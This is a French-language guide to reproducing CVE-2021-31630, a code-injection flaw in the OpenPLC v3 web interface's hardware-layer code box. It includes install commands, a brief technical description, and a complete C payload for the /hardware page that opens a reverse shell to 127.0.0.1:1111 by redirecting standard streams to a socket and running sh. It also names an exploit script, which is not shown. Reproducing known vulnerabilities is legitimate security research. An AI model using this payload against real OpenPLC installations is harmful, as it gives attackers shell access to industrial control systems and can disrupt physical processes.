
Pour reproduire CVE-2021-31630
OpenPLC est un automate logique programmable open source basé sur un logiciel facile à utiliser. Notre objectif est de fournir une solution industrielle à faible coût pour l'automatisation et la recherche. OpenPLC a été utilisé dans de nombreux articles de recherche comme cadre pour la recherche en cybersécurité industrielle, car c'est le seul automate qui fournisse l'intégralité du code source. Le projet OpenPLC comprend trois sous-projets :
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]
Où [platform] peut être :
win - Installer OpenPLC sur Windows via Cygwin
linux - Installer OpenPLC sur une distribution Linux basée sur Debian
docker - Utilisé par le Dockerfile (c'est-à-dire qu'il n'invoque pas sudo)
rpi - Installer OpenPLC sur un Raspberry Pi
custom - Ignorer toute installation spécifique de paquets et tenter d'installer OpenPLC en supposant que votre système possède déjà toutes les dépendances. Cette option peut être utile si vous essayez d'installer OpenPLC sur une plateforme Linux non prise en charge ou si vous avez installé manuellement tous les paquets de dépendances avant.
CVE-2021-31630 est une vulnérabilité de type injection de code/commandes sur le serveur Web d'OpenPLC (version v3 largement utilisée par la communauté). L'erreur se situe dans la fonctionnalité permettant de charger/modifier le code dans l'interface /hardware (Hardware Layer Code Box), où les données d'entrée ne sont pas suffisamment filtrées/nettoyées avant d'être traitées au niveau du serveur, ce qui permet l'exécution de code sous les droits du processus du serveur web. La vulnérabilité a été rendue publique en 2021 et est classée comme critique dans les bases de données de vulnérabilités publiques.
Description technique (niveau défensif) : l'interface web accepte un bloc de « code de couche matérielle » saisi par l'utilisateur. Ces données sont ensuite traitées par des composants serveur capables de compiler/normaliser ou d'être intégrées dans un contexte de commande sans qu'aucune étape de vérification, de filtrage des caractères spéciaux ou de contrainte stricte ne soit effectuée. Dans certaines conditions (par exemple, les données sont concaténées dans une chaîne de commande système, ou transmises directement à une fonction de traitement de code), un attaquant peut insérer des instructions de contrôle entraînant une modification du flux d'exécution.
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut()
{
int port = 1111;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
Code d'exploitation : cve-2021-31630.py